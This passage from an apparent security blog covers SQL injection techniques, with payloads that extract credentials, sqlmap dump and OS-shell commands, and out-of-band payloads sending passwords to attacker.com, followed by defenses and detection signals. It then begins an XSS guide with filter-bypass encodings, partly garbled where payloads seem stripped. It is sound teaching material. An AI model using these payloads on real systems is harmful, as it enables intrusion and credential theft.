table_name='users'-- -- Extract credentials ' UNION SELECT NULL,username||':'||password_hash,NULL FROM users-- -- MySQL: CONCAT(username,':',password_hash) -- MSSQL: username+':'+password_hash ``` ### Concatenating Multiple Values When Columns Are Limited ```sql -- When you only have one visible string column but want multiple values ' UNION SELECT NULL,username||'~'||password||'~'||email,NULL FROM users-- -- Output: admin~$2b$12$abc123~admin@company.com -- One response line contains all three fields, split by the ~ delimiter ``` ## Blind SQL Injection: Boolean-Based When the application doesn't reflect database output but does respond differently for true vs. false conditions (different page content, different redirect, different status code). ### Confirming Boolean Blindness ```sql -- If the page loads normally for the first payload but differently for the second, -- boolean-based blind SQLi is confirmed ' AND 1=1-- -- TRUE condition ' AND 1=2-- -- FALSE condition ``` ### Extracting Data Bit by Bit The fundamental technique: use binary search to determine each character's ASCII value. ```sql -- Is the first character of the admin password greater than ASCII 77 (M)? ' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)) > 77-- -- TRUE response: first char > M (search upper half: N-Z, 0-9, etc.) -- FALSE response: first char ≤ M (search lower half: A-M) -- After binary search narrows down to exact value: ' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)) = 104-- -- 'h' ' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),2,1)) = 117-- -- 'u' ' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),3,1)) = 110-- -- 'n' -- ... continues for each character position ``` ### Automated Extraction with sqlmap This process is too slow to do manually for real data. `sqlmap` automates it: ```bash # Basic detection sqlmap -u "https://target.com/products?id=1" # With a captured HTTP request (most reliable for complex authenticated requests) sqlmap -r request.txt --level=3 --risk=2 # Once confirmed vulnerable: enumerate databases sqlmap -r request.txt --dbs # Enumerate tables in a specific database sqlmap -r request.txt -D production_db --tables # Dump a specific table sqlmap -r request.txt -D production_db -T users --dump # Dump specific columns sqlmap -r request.txt -D production_db -T users -C username,password --dump # Attempt OS shell if DB user has FILE privilege (MySQL) sqlmap -r request.txt --os-shell # Tamper scripts to bypass WAF sqlmap -r request.txt --tamper=space2comment,between,randomcase ``` ```bash # request.txt format (captured from Burp Suite) POST /api/search HTTP/1.1 Host: target.com Content-Type: application/json Cookie: session=abc123 {"query":"test","category":"1"} ``` Only run sqlmap against systems you own or have explicit written authorization to test. sqlmap generates hundreds to thousands of requests to a target. Even on authorized engagements, confirm with the client whether automated scanning is permitted before running it: some programs explicitly exclude automated tools. ## Blind SQL Injection: Time-Based When neither the response content nor the status code changes between true and false conditions, time delays become the channel for data exfiltration. ```sql -- MySQL/MariaDB: conditional SLEEP ' AND IF(1=1, SLEEP(5), 0)-- -- 5 second delay confirms TRUE ' AND IF(1=2, SLEEP(5), 0)-- -- no delay confirms FALSE -- Extracting data with time delay ' AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>77, SLEEP(3), 0)-- -- PostgreSQL '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END-- -- MSSQL '; IF (1=1) WAITFOR DELAY '0:0:5'-- -- Conditional data extraction (MSSQL) '; IF (ASCII(SUBSTRING((SELECT TOP 1 password FROM users),1,1)) > 77) WAITFOR DELAY '0:0:5'-- ``` **Practical timing threshold:** Use a 3-5 second delay and measure multiple times to account for network jitter. A consistent 3-second differential between true and false is reliable signal. A 0.2-second differential in a high-latency connection is not. ## Error-Based SQL Injection Verbose database errors embedded in the HTTP response provide a direct output channel for data exfiltration. ```sql -- MySQL: ExtractValue generates an XML parsing error containing the extracted data ' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))-- -- Error: XPATH syntax error: '~8.0.26' -- The ~ (0x7e) forces the error; the value after it is the extracted data ' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 1)))-- -- Error: XPATH syntax error: '~$2b$12$N4p1hPSNJLB8...' -- MSSQL: Conversion error surfaces string data ' AND 1=CONVERT(int, (SELECT TOP 1 password FROM users))-- -- Error: Conversion failed when converting the nvarchar value '$2b$12$...' to data type int. -- PostgreSQL: Cast error ' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)-- -- Error: invalid input syntax for type integer: "$2b$12$..." -- Oracle: UTL_INADDR ' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT password FROM users WHERE ROWNUM=1))-- ``` ## Second-Order SQL Injection The most underestimated variant. The payload is stored safely (parameterized INSERT), then used unsafely in a subsequent operation. ### Scenario: Username in Password Update ```python # Step 1: Registration — parameterized INSERT, safe def register_user(username: str, password: str): # This is correctly parameterized cursor.execute( "INSERT INTO users (username, password_hash) VALUES (%s, %s)", (username, bcrypt.hashpw(password.encode(), bcrypt.gensalt())) ) # username "admin'--" is stored safely in the database # Step 2: Password update — VULNERABLE def change_password(username: str, new_password: str): # The username is retrieved from the database (trusted source assumption) # but then concatenated into a new query — WRONG query = f"UPDATE users SET password_hash = '{bcrypt.hashpw(new_password.encode(), bcrypt.gensalt()).decode()}' WHERE username = '{username}'" cursor.execute(query) # Attack: # 1. Register with username: admin'-- # 2. When change_password("admin'--", "newpassword") runs: # UPDATE users SET password_hash = '$2b$12$...' WHERE username = 'admin'--' # The -- comments out the rest — update applies to ALL users named 'admin' # (or whichever user the attacker targets) ``` ### Detection Method Second-order SQLi requires: 1. Mapping where user-controlled data is stored (registration, profile update, etc.) 2. Tracing where that stored data is later used in application code 3. Checking whether the later usage involves string concatenation into a query Static analysis tools like Semgrep with custom rules can detect this pattern: ```yaml # Semgrep rule for second-order SQLi patterns rules: - id: second-order-sqli patterns: - pattern: | $DATA = $DB.query(...) ... $QUERY = "... " + $DATA + "..." $DB.execute($QUERY) message: "Potential second-order SQL injection: data from DB used in string-concatenated query" severity: ERROR languages: [python] ``` ## Out-of-Band SQL Injection When the application returns no output and has consistent response behavior regardless of condition (making boolean-based and time-based unreliable), out-of-band channels extract data via DNS or HTTP requests initiated by the database server. ```sql -- MySQL: load_file or outfile can trigger DNS lookups -- Requires FILE privilege ' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\share'))-- -- MSSQL: xp_dirtree for DNS exfiltration (requires sysadmin or xp_cmdshell) '; DECLARE @p VARCHAR(1024); SET @p=(SELECT TOP 1 password FROM users); EXEC('master..xp_dirtree "\\'+@p+'.attacker.com\test"')-- -- Oracle: UTL_HTTP for HTTP-based exfiltration ' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE ROWNUM=1)) FROM dual-- ``` Monitor for these with a Burp Collaborator or self-hosted OAST server (interactsh): ```bash # Self-host an OAST server interactsh-server -domain yourdomain.com # Use the generated subdomain in payloads # Any DNS query to *.yourdomain.com will be logged ``` ## Defenses That Actually Work ### 1. Parameterized Queries: The Only Real Fix Parameterized queries eliminate SQL injection at the root. Period. Every language, every framework, every database supports them. ```python # Python — psycopg2 (PostgreSQL) import psycopg2 def get_user(conn, username: str, password_hash: str): with conn.cursor() as cur: cur.execute( "SELECT id, username, email, role FROM users WHERE username = %s AND password_hash = %s", (username, password_hash) ) return cur.fetchone() # Python — SQLite3 import sqlite3 def get_user(conn, username: str, password_hash: str): cur = conn.execute( "SELECT id, username, email, role FROM users WHERE username = ? AND password_hash = ?", (username, password_hash) ) return cur.fetchone() # Python — SQLAlchemy (raw query with bound parameters) from sqlalchemy import text def get_user(session, username: str, password_hash: str): result = session.execute( text("SELECT id, username, email, role FROM users WHERE username = :username AND password_hash = :hash"), {"username": username, "hash": password_hash} ) return result.fetchone() ``` ```javascript // Node.js — pg (PostgreSQL) const { Pool } = require('pg'); const pool = new Pool(); async function getUser(username, passwordHash) { const result = await pool.query( 'SELECT id, username, email, role FROM users WHERE username = $1 AND password_hash = $2', [username, passwordHash] ); return result.rows[0]; } // Node.js — mysql2 const mysql = require('mysql2/promise'); async function getUser(connection, username, passwordHash) { const [rows] = await connection.execute( 'SELECT id, username, email, role FROM users WHERE username = ? AND password_hash = ?', [username, passwordHash] ); return rows[0]; } ``` ```php // PHP — PDO (the right way) function getUser(PDO $pdo, string $username, string $passwordHash): ?array { $stmt = $pdo->prepare( "SELECT id, username, email, role FROM users WHERE username = :username AND password_hash = :hash" ); $stmt->execute([':username' => $username, ':hash' => $passwordHash]); return $stmt->fetch(PDO::FETCH_ASSOC) ?: null; } ``` ```go // Go — database/sql import "database/sql" func getUser(db *sql.DB, username, passwordHash string) (*User, error) { row := db.QueryRow( "SELECT id, username, email, role FROM users WHERE username = $1 AND password_hash = $2", username, passwordHash, ) var u User if err := row.Scan(&u.ID, &u.Username, &u.Email, &u.Role); err != nil { if err == sql.ErrNoRows { return nil, nil } return nil, err } return &u, nil } ``` ### 2. ORM Usage: Safe by Default, Dangerous in Raw Mode ```typescript // Prisma — safe by default const user = await prisma.user.findFirst({ where: { username, passwordHash }, select: { id: true, email: true, role: true }, }); // VULNERABLE: Prisma raw query without parameterization // $queryRaw bypasses Prisma's protections entirely const user = await prisma.$queryRaw`SELECT * FROM users WHERE username = '${username}'`; // Prisma's template literal $queryRaw uses tagged templates — this IS parameterized // But the old string-based version is not: const user = await prisma.$queryRawUnsafe(`SELECT * FROM users WHERE username = '${username}'`); // SAFE: $queryRaw with template literals (Prisma automatically parameterizes these) const user = await prisma.$queryRaw`SELECT * FROM users WHERE username = ${username}`; ``` ```python # SQLAlchemy ORM — safe user = db.session.query(User).filter_by(username=username, password_hash=password_hash).first() # VULNERABLE: raw string formatting in SQLAlchemy db.session.execute(f"SELECT * FROM users WHERE username = '{username}'") # SAFE: raw query with bound parameters from sqlalchemy import text db.session.execute( text("SELECT * FROM users WHERE username = :username"), {"username": username} ) ``` ### 3. Dynamic ORDER BY and Column Names Parameterized queries can't be used for column names or ORDER BY direction: these must use a strict allowlist: ```python ALLOWED_SORT_COLUMNS = {'created_at', 'username', 'email', 'last_login'} ALLOWED_SORT_DIRECTIONS = {'ASC', 'DESC'} def get_users_sorted(sort_by: str, direction: str): if sort_by not in ALLOWED_SORT_COLUMNS: raise ValueError(f"Invalid sort column: {sort_by}") if direction not in ALLOWED_SORT_DIRECTIONS: raise ValueError(f"Invalid sort direction: {direction}") # Now safe to interpolate — values are allowlisted, not user-controlled query = f"SELECT id, username, email FROM users ORDER BY {sort_by} {direction}" return db.execute(query).fetchall() ``` ```typescript // TypeScript with Prisma — allowlisted dynamic ordering type SortField = 'createdAt' | 'username' | 'email'; type SortOrder = 'asc' | 'desc'; const ALLOWED_FIELDS: SortField[] = ['createdAt', 'username', 'email']; const ALLOWED_ORDERS: SortOrder[] = ['asc', 'desc']; async function getUsers(sortBy: string, order: string) { if (!ALLOWED_FIELDS.includes(sortBy as SortField)) { throw new Error('Invalid sort field'); } if (!ALLOWED_ORDERS.includes(order as SortOrder)) { throw new Error('Invalid sort order'); } return prisma.user.findMany({ orderBy: { [sortBy as SortField]: order as SortOrder }, }); } ``` ### 4. Stored Procedures: Only Safe When Used Correctly ```sql -- VULNERABLE stored procedure (dynamic SQL inside) CREATE PROCEDURE SearchProducts @category NVARCHAR(50) AS BEGIN EXEC('SELECT * FROM products WHERE category = ''' + @category + '''') END -- This is injectable because the dynamic SQL is constructed via string concatenation -- SAFE stored procedure (uses the parameter directly) CREATE PROCEDURE SearchProducts @category NVARCHAR(50) AS BEGIN SELECT name, price, description FROM products WHERE category = @category END -- The parameter @category is bound, not interpreted as SQL code ``` ### 5. Least Privilege Database Accounts ```sql -- Create a restricted application user (PostgreSQL) CREATE USER app_user WITH PASSWORD 'strong_random_password'; -- Grant only what the application needs GRANT SELECT, INSERT, UPDATE ON TABLE users, products, orders TO app_user; GRANT SELECT ON TABLE categories TO app_user; -- Do NOT grant: -- GRANT ALL ON DATABASE appdb TO app_user; -- too broad -- GRANT SUPERUSER TO app_user; -- never -- GRANT CREATE TO app_user; -- unless migrations run as this user (use separate migration user) -- Read-only replica user for reporting CREATE USER reporting_user WITH PASSWORD 'different_strong_password'; GRANT SELECT ON ALL TABLES IN SCHEMA public TO reporting_user; ``` If an SQL injection occurs against the `app_user`, the attacker has SELECT/INSERT/UPDATE on specific tables: not DROP TABLE, not EXECUTE shell commands, not access to other databases on the same server. ### 6. WAF Configuration for SQLi ```bash # ModSecurity CRS rules for SQLi # /etc/modsecurity/modsecurity.conf SecRuleEngine On SecRule REQUEST_COOKIES|REQUEST_HEADERS|ARGS \ "@detectSQLi" \ "id:942100,phase:2,deny,status:403,log,msg:'SQL Injection Attack Detected'" # Test your WAF bypass resistance sqlmap -u "https://target.com/search?q=1" --tamper=space2comment,between,randomcase,charencode ``` WAFs are not a substitute for parameterized queries. Sophisticated attackers use encoding tricks, HTTP parameter pollution, chunked transfer encoding, and database-specific syntax to bypass WAF rules. A WAF that blocks 99% of SQLi payloads still lets through the 1% that matters if your application code remains vulnerable. Fix the code. ## Detection During Code Review When reviewing code for SQL injection, look for these patterns across every language: ```python # Red flags in Python f"SELECT ... WHERE x = '{user_input}'" # f-string interpolation "SELECT ... WHERE x = '" + user_input + "'" # string concatenation "SELECT ... WHERE x = %s" % (user_input,) # %-formatting (NOT safe, different from psycopg2 %s) cursor.execute("SELECT ... WHERE x = " + val) # execute with concatenation ``` ```javascript // Red flags in JavaScript/TypeScript `SELECT * FROM users WHERE username = '${username}'` // template literal "SELECT * FROM users WHERE username = '" + username + "'" // concatenation db.execute("SELECT * FROM users WHERE username = " + username) // execute with string prisma.$queryRawUnsafe(`SELECT ...${variable}...`) // Prisma unsafe raw knex.raw(`SELECT ... WHERE x = '${value}'`) // Knex raw without bindings ``` ```php // Red flags in PHP $query = "SELECT * FROM users WHERE id = " . $_GET['id']; // concatenation $query = "SELECT * FROM users WHERE username = '$username'"; // variable interpolation $result = mysql_query($query); // mysql_query (deprecated but still seen in legacy code) ``` ### Automated Detection with Semgrep ```bash # Run OWASP's Semgrep ruleset for injection semgrep --config "p/owasp-top-ten" src/ # Run specific SQLi rules semgrep --config "p/sql-injection" src/ # Custom rule for Python f-string SQLi cat > sqli-rule.yaml << 'EOF' rules: - id: python-fstring-sqli pattern: | cursor.execute(f"... {$VAR} ...") message: "Potential SQL injection: f-string used in execute()" severity: ERROR languages: [python] EOF semgrep --config sqli-rule.yaml src/ ``` ## Testing Methodology During a Pentest ```bash # 1. Passive discovery — find injection points in a crawl burpsuite & # Configure browser proxy to Burp # Navigate the target application # Check Target > Site Map for all parameters # 2. Active testing — inject into every parameter # In Burp: right-click request > Send to Intruder # Set payload position on the parameter value # Payload list: single quote, double quote, boolean tests # Check responses for error messages or behavioral differences # 3. Automated confirmation sqlmap -r captured_request.txt --batch --level=3 # 4. Exploitation — only if explicitly authorized for full pentest sqlmap -r captured_request.txt --dbs --batch sqlmap -r captured_request.txt -D appdb --tables --batch sqlmap -r captured_request.txt -D appdb -T users --dump --batch # 5. Document findings # Screenshot of: vulnerable request, error message or behavioral difference, # successful data extraction (sanitize real credentials in report) ``` ## Attack vs. Defense Summary | Variant | Key Characteristic | sqlmap Flag | Primary Defense | |---|---|---|---| | Classic / Auth Bypass | Payload in query string alters logic | Default scan | Parameterized queries | | Union-Based | UNION SELECT appended, data reflected | `--technique=U` | Parameterized queries | | Boolean Blind | Response differs for true/false | `--technique=B` | Parameterized queries | | Time-Based Blind | Delay as true/false signal | `--technique=T` | Parameterized queries | | Error-Based | Data exfiltrated via error messages | `--technique=E` | Parameterized queries + disable verbose errors | | Second-Order | Payload stored, executed later | Requires manual testing | Parameterize ALL queries, including those using DB-sourced data | | Out-of-Band | Data via DNS/HTTP callback | `--technique=O` | Parameterized queries + network egress filtering | Every row in that table has the same primary defense: parameterized queries. The variance between techniques is about detection and exploitation method, not about the underlying fix. If you parameterize every query in your codebase, the entire table becomes irrelevant. The fact that SQL injection has persisted for two decades is a failure of developer education, not a failure of available solutions. The fix is known, well-documented, supported by every major database driver, and costs nothing in performance. There is no reasonable excuse for writing vulnerable code in 2026. ## A worked walkthrough: from a single quote to a full table It helps to see the reasoning an attacker follows, because the same reasoning tells a defender where the boundary broke. Suppose a product page loads results from a URL parameter, and the developer built the query by concatenating that parameter into a string. The attacker starts with the cheapest possible probe: a single quote. If the page returns a database error, or behaves differently from a normal request, the value is reaching the query as syntax rather than as data. That one character has confirmed the boundary between code and data is gone. The next question is what kind of channel the injection offers. The attacker sends a pair of conditions, one always true and one always false, and compares the responses. If the two responses differ, the application is leaking a single bit of information per request, which is enough for boolean-blind extraction. If the responses are identical, the attacker reaches for a timing probe: a conditional delay that pauses the database only when a condition holds. A consistent delay that tracks the condition turns the response time into the leak channel. From there the work is mechanical. Extraction walks the target value one position at a time, asking whether each character is above or below a midpoint and narrowing by binary search, or measuring a delay for each guess. This is slow by hand, which is why tooling automates it, but the concept is simple: every yes-or-no answer the application gives away, whether through content, status code, or timing, is a bit the attacker can accumulate into a password hash, a session token, or an entire table. The lesson for the defender is that the leak is not the error message or the delay. Those are symptoms. The leak is that user input reached the query structure at all, and a parameterized query closes it before any of this reasoning can begin. ## Detection signals: catching SQL injection at runtime Fixing the code is the cure. While code is being fixed, and to catch regressions, runtime detection matters. The signals below are concrete places to look, mapped to what an injection attempt actually produces. **Database error spikes.** A sudden rise in syntax errors, type-conversion errors, or `information_schema` references in application logs is a strong sign someone is probing injection points. Legitimate traffic rarely triggers XPATH or conversion errors in bursts. **Repeated near-identical requests to one parameter.** Boolean-blind and time-based extraction generate hundreds to thousands of requests that differ only in a numeric threshold or a substring index. A single client hammering one parameter with slowly varying payloads is the fingerprint of automated extraction. **Response-time outliers that correlate with payload content.** Time-based injection deliberately introduces delays. Requests whose latency jumps to a suspicious round number, three or five seconds, and that contain conditional keywords, deserve immediate attention. **Keywords in unexpected fields.** `UNION`, `SELECT`, `SLEEP`, `WAITFOR`, `pg_sleep`, `information_schema`, and comment sequences appearing in parameters that should hold names, numbers, or identifiers point to injection attempts. Watch cookies and headers too, since those are injection points that developers forget to treat as user input. **Outbound DNS or HTTP from the database host.** Out-of-band extraction makes the database server itself reach out to an attacker-controlled domain. A database that suddenly performs DNS lookups for unfamiliar external names is exfiltrating over a side channel. Egress filtering on the database tier both blocks this and surfaces the attempt. **Access to tables the application never queries.** If your application only ever reads three tables, a query touching `sys.tables`, `all_tables`, or system catalogs is not your application behaving normally. Query-level auditing that baselines expected access makes this visible. Signature rules that match payload strings are brittle, because encoding and database-specific syntax bypass them. A more durable signal is access to database metadata: any application query that reads `information_schema`, `sys.tables`, `all_tables`, or `pg_catalog` is worth flagging, because a normal application knows its own schema and never has to enumerate it at runtime. ## Common mistakes that reintroduce injection Teams that believe they are safe often are not, because a handful of patterns quietly reopen the hole. **Sanitizing instead of parameterizing.** Escaping quotes or stripping keywords feels like a fix and is not one. Encodings, alternative syntax, and edge cases defeat blocklists, and numeric contexts need no quotes at all. Parameterization is the fix. Sanitization is a patch over a design that is still concatenating. **Parameterizing the obvious query and forgetting the rest.** A codebase can parameterize its login query perfectly and still concatenate in a reporting export, an admin search, or a background job. Injection needs one unparameterized query, so partial coverage is not coverage. **Trusting data because it came from the database.** Second-order injection exploits exactly this. A value stored safely through a parameterized insert is still attacker-controlled when it is later concatenated into a new query. Data read back from your own database deserves the same parameterization as data read from a request. **Interpolating identifiers.** Parameterization binds values, not table names, column names, or sort direction. Developers who need dynamic ordering sometimes drop back to string concatenation for the whole query. The correct pattern is a strict server-side allowlist for the identifier and parameterization for the values. **Assuming an ORM makes it impossible.** ORMs are safe by default and expose raw escape hatches. A raw query interface fed a concatenated string is as injectable as any hand-written query, and the ORM's presence gives false confidence. **Leaning on a web application firewall as the fix.** A firewall reduces noise and buys time. It does not repair vulnerable code, and determined bypasses get through. Treat it as a speed bump layered on top of parameterized queries, never as the reason the code can stay broken. ## How SQL injection has evolved The vulnerability itself has not changed since applications first concatenated user input into queries. What has changed is the surrounding landscape. Early exploitation relied on verbose database errors printed straight to the page, which made error-based extraction trivial. As frameworks began suppressing errors in production, attackers shifted to blind techniques that need only a behavioral difference, and then to time-based techniques that need no visible difference at all. When applications went quiet on every channel, out-of-band methods emerged that make the database itself phone home over DNS or HTTP. Defenses moved in parallel. Parameterized query interfaces became standard in every major driver, ORMs made the safe path the default path, and automated scanners made injection points cheaper to find on both sides. The net effect is that classic, obvious injection has grown rarer in well-maintained code, while the surviving cases cluster in the awkward spots: dynamic identifiers, second-order flows, raw ORM escape hatches, and legacy code written before the safe patterns were universal. The through-line across the whole history is that the root cause never moved. Every era of technique is a different way to exploit or detect the same failure to separate code from data. ## Frequently asked questions **Do parameterized queries slow the application down?** No. Parameterized queries let the database compile a query plan once and reuse it across executions, which often improves performance under repeated calls. There is no performance argument for string concatenation. The safe path is also the fast path. **Is input validation enough to prevent SQL injection?** No. Validation is useful for data quality and can reduce attack surface, but it is not a reliable defense on its own. Blocklists miss encodings and database-specific syntax, and numeric injection contexts need no special characters. Parameterized queries are the control that closes the vulnerability regardless of what the input contains. **Can an ORM be injected?** Yes, through its raw query escape hatches. ORM query builders are safe by default, but interfaces such as raw or unsafe query methods pass strings straight to the database. Concatenating user input into those interfaces reintroduces injection exactly as if the ORM were not there. **Why do parameterized queries not work for ORDER BY or column names?** Parameter binding substitutes data values, and a table name, column name, or sort direction is part of the query structure rather than a value. You cannot bind them. Protect dynamic identifiers with a strict server-side allowlist, comparing user input against a fixed set of permitted names before it reaches the query. **What is second-order SQL injection?** It is injection where the payload is stored safely and executed later. A value inserted through a parameterized query sits harmlessly in the database, then becomes dangerous when some other code path reads it back and concatenates it into a new query. The fix is to parameterize every query, including ones that use data sourced from your own database. **Does a web application firewall make my code safe?** No. A firewall can block many payloads and slow an attacker down, but encoding tricks, parameter pollution, and database-specific syntax routinely bypass its rules. It is a layer on top of secure code, never a substitute. If the underlying query is still concatenated, the one payload that slips through is enough. **How do least-privilege database accounts help if injection still happens?** They cap the blast radius. An application account granted only the specific reads and writes it needs cannot drop tables, read other databases, or execute system commands even when a query is successfully injected. Least privilege does not prevent injection, it limits what a successful injection can reach. ## Related guides - [The MOVEit Breach](/moveit-breach-explained) - [OWASP Top 10 Explained](/owasp-top-10-explained) - [Cross-Site Scripting (XSS) Explained](/xss-attacks-explained) - [Secure Coding Practices](/secure-coding-practices) - [Bug Bounty Hunting: Getting Started](/bug-bounty-getting-started) - [How to Become an Ethical Hacker](/how-to-become-ethical-hacker) ### Sources - OWASP SQL Injection Prevention Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html - OWASP Top Ten: A03: Injection (OWASP): https://owasp.org/Top10/A03_2021-Injection/ - MITRE CWE-89: Improper Neutralization of Special Elements used in an SQL Command (MITRE): https://cwe.mitre.org/data/definitions/89.html --- ## Cross-Site Scripting (XSS): Attack Types and Prevention > XSS is the most common web vulnerability. Learn how reflected, stored, and DOM-based XSS work, see real payloads, and understand the defenses that stop them. - URL: https://blog.pwnsy.com/xss-attacks-explained - Date: 2026-03-11 - Updated: 2026-04-08 - Difficulty: intermediate - Category: web-security - Tags: xss, web-security, owasp, javascript, secure-coding - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - XSS lets attackers inject JavaScript that runs in another user's browser, reading session tokens from localStorage, making authenticated API calls, and performing admin actions. - Reflected XSS is one-shot via a crafted URL; stored XSS is persisted in a database and executes for every visitor; DOM-based XSS never touches the server and bypasses server-side filters. - Every modern framework auto-escapes by default, nearly all real-world XSS comes from explicit escape bypasses like dangerouslySetInnerHTML, | safe, v-html, or bypassSecurityTrust*. - A nonce-based Content Security Policy blocks injected script execution even when encoding fails, and is the critical browser-enforcement layer on top of output encoding. ### Key Takeaways - The Samy worm infected over one million MySpace profiles in 20 hours through a single stored XSS vulnerability, demonstrating the viral replication potential of persistent payloads. - Adversary-in-the-Middle supply chain XSS, as in the 2018 British Airways breach, can compromise 500,000 payment records by injecting a skimmer into a third-party JavaScript library. - DOM-based XSS flows entirely through client-side JavaScript from a source such as location.hash to a dangerous sink such as innerHTML, leaving no evidence in server logs. - HttpOnly cookies prevent classic document.cookie theft but do not protect localStorage-stored JWT tokens, which are accessible to injected scripts in most modern SPAs. - Input sanitization should occur on write to the database using an allowlist-based library like DOMPurify, not on read, to ensure historical content is consistently protected. Cross-site scripting is the most frequently found vulnerability in web applications. It consistently appears in bug bounty programs, penetration test reports, and OWASP's Top 10. Bug hunters have been paid millions in bounties for XSS bugs. Entire companies' session data, tokens, and user credentials have been stolen through persistent XSS payloads left in comment sections and forum posts. The attack is conceptually simple (inject JavaScript that runs in another user's browser) but the exploitation techniques, bypass methods, and impact range from trivial to catastrophic depending on what the application does. A self-XSS in a profile field with no external visibility is a non-issue. A stored XSS in a feature visible to every admin and user, executing under their session, is a critical finding. This post covers all three XSS variants in depth, real exploitation chains, filter bypass techniques, framework-specific escape hatches, and the complete defense stack. ## Why XSS Is Dangerous Before diving into mechanics: the impact of XSS execution depends entirely on what the application's JavaScript has access to. **What attacker-injected JavaScript can do:** - Read `document.cookie` and exfiltrate session tokens (classic cookie theft) - Read `localStorage` and `sessionStorage`, where modern SPAs store auth tokens - Make authenticated API requests on behalf of the victim (CSRF-bypass equivalent) - Modify the DOM to inject fake login forms (credential harvesting) - Log every keystroke the victim types (keylogger) - Redirect the victim to a phishing page - Take screenshots via canvas API - Access the user's clipboard - In high-privilege sessions: perform admin actions, create backdoor accounts, export all user data Session cookies with `HttpOnly` flag can't be read by JavaScript, but `localStorage` tokens (JWTs, OAuth tokens) can be, and most modern SPAs store tokens in `localStorage`. HttpOnly cookies stop the most common XSS post-exploitation step but not all of them. ## Real Incidents ### Samy Worm (2005): First XSS Worm in History In October 2005, Samy Kamkar exploited a stored XSS vulnerability in MySpace to create the fastest-spreading worm in internet history. The payload: 1. Added Samy as a friend of the infected user 2. Displayed "but most of all, samy is my hero" on the infected user's profile 3. Copied itself to the infected user's profile, infecting anyone who viewed it Within 20 hours, Samy had over 1 million MySpace friend requests. MySpace was forced to take the entire site offline to remove the worm. Kamkar was prosecuted, placed on three years of probation, and paid $20,000 in restitution. MySpace's advertising revenue was impacted for days. The technical limitation Kamkar had to work around: MySpace filtered `javascript:` and event handlers like `onmouseover`. His solution used CSS `expression()` (an IE-specific feature): `
`. He also used `\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74` (hex encoding of "javascript") to bypass the filter. ### British Airways (2018): 500,000 Payment Cards In September 2018, British Airways disclosed a breach affecting 500,000 customers who booked flights between August 21 and September 5, 2018. RiskIQ's researchers determined the attackers (Magecart Group 6) injected a 22-line JavaScript skimmer that captured form input from the BA payment page and exfiltrated it to `baways.com` (not the legitimate `britishairways.com`). The skimmer ran in the browser during checkout and collected: - Card number, expiry, CVV - Name, billing address - Email address The attack was a supply chain XSS: attackers compromised a third-party JavaScript library loaded on BA's checkout page, injected their skimmer into that library, and it ran automatically on every transaction. BA was fined £20 million by the UK ICO (reduced from an initial £183 million figure). Total estimated theft: ~£14 million in fraudulent charges. ### Twitter XSS (2014): TweetDeck Worm In June 2014, a self-propagating XSS worm spread across TweetDeck, Twitter's third-party client. A user discovered that TweetDeck was rendering tweet content as HTML and posted a tweet containing ``. TweetDeck executed it. The worm evolved to automatically retweet itself and show pop-up alerts. Thousands of accounts were affected before TweetDeck was taken offline temporarily. No permanent data theft occurred in this case, but the attack demonstrated that a stored XSS in a widely-used client could spread virally. ## Reflected XSS Reflected XSS is the simplest variant: the payload arrives in the HTTP request (URL parameter, form field, header), the server includes it in the HTML response without sanitization, and the browser executes it. The attack is one-shot: it doesn't persist in the application. Delivery mechanism: the attacker crafts a malicious URL and gets the victim to visit it. Methods include phishing emails, shortened URLs, social engineering, or open redirectors on the same domain. ### Vulnerable Code ```javascript // Express.js — vulnerable search endpoint app.get('/search', (req, res) => { const query = req.query.q || ''; // VULNERABLE: user input directly in HTML response res.send(` Search

Results for: ${query}

Loading...
`); }); ``` Normal request: `GET /search?q=laptops` → renders "Results for: laptops" Attack URL: `https://target.com/search?q=` The ` " onmouseover="alert(1)" x=" Click me ``` ### Filter Bypass Techniques When a WAF or input filter blocks specific patterns, these bypass techniques frequently succeed: ```html ipt>alert(1)ipt> %253Cscript%253Ealert(1)%253C%252Fscript%253E alert(1) ``` ### Fixed Code ```javascript // Option 1: Use a templating engine that auto-escapes const ejs = require('ejs'); app.get('/search', (req, res) => { const query = req.query.q || ''; // EJS auto-escapes <%= ... %> — use <%- ... %> only for trusted content res.render('search', { query }); // search.ejs:

Results for: <%= query %>

}); // Option 2: Explicit HTML encoding before string insertion const he = require('he'); app.get('/search', (req, res) => { const query = he.encode(req.query.q || '', { useNamedReferences: true }); res.send(`

Results for: ${query}

`); }); ``` ## Stored XSS Stored (persistent) XSS is the high-severity variant. The payload is saved to a database and served to every user who views the affected content. No crafted URL required, any user who loads the page becomes a victim. **Common injection points:** - Comment sections and forums - User profile fields (bio, display name, website URL) - Product reviews and ratings - Support ticket subject lines - File names in upload features - User-agent strings displayed in admin dashboards - Error messages that include user-submitted data ### The Impact Multiplier: Admin Panel Injection The most valuable stored XSS target is any feature that surfaces user-submitted content in an admin dashboard. If a malicious payload in a support ticket description executes JavaScript in the admin's browser: ```javascript // Payload stored in support ticket subject: (injected by attacker as a "customer") ``` When an admin opens the ticket, the payload: 1. Calls the admin API with the admin's session credentials 2. Gets the full user list 3. Exfiltrates it along with the admin's auth token to the attacker's server The attacker now has the admin's token and the entire user database. ### Vulnerable Code ```python # Flask — vulnerable comment system from flask import Flask, request, Markup, render_template_string app = Flask(__name__) @app.route('/comment', 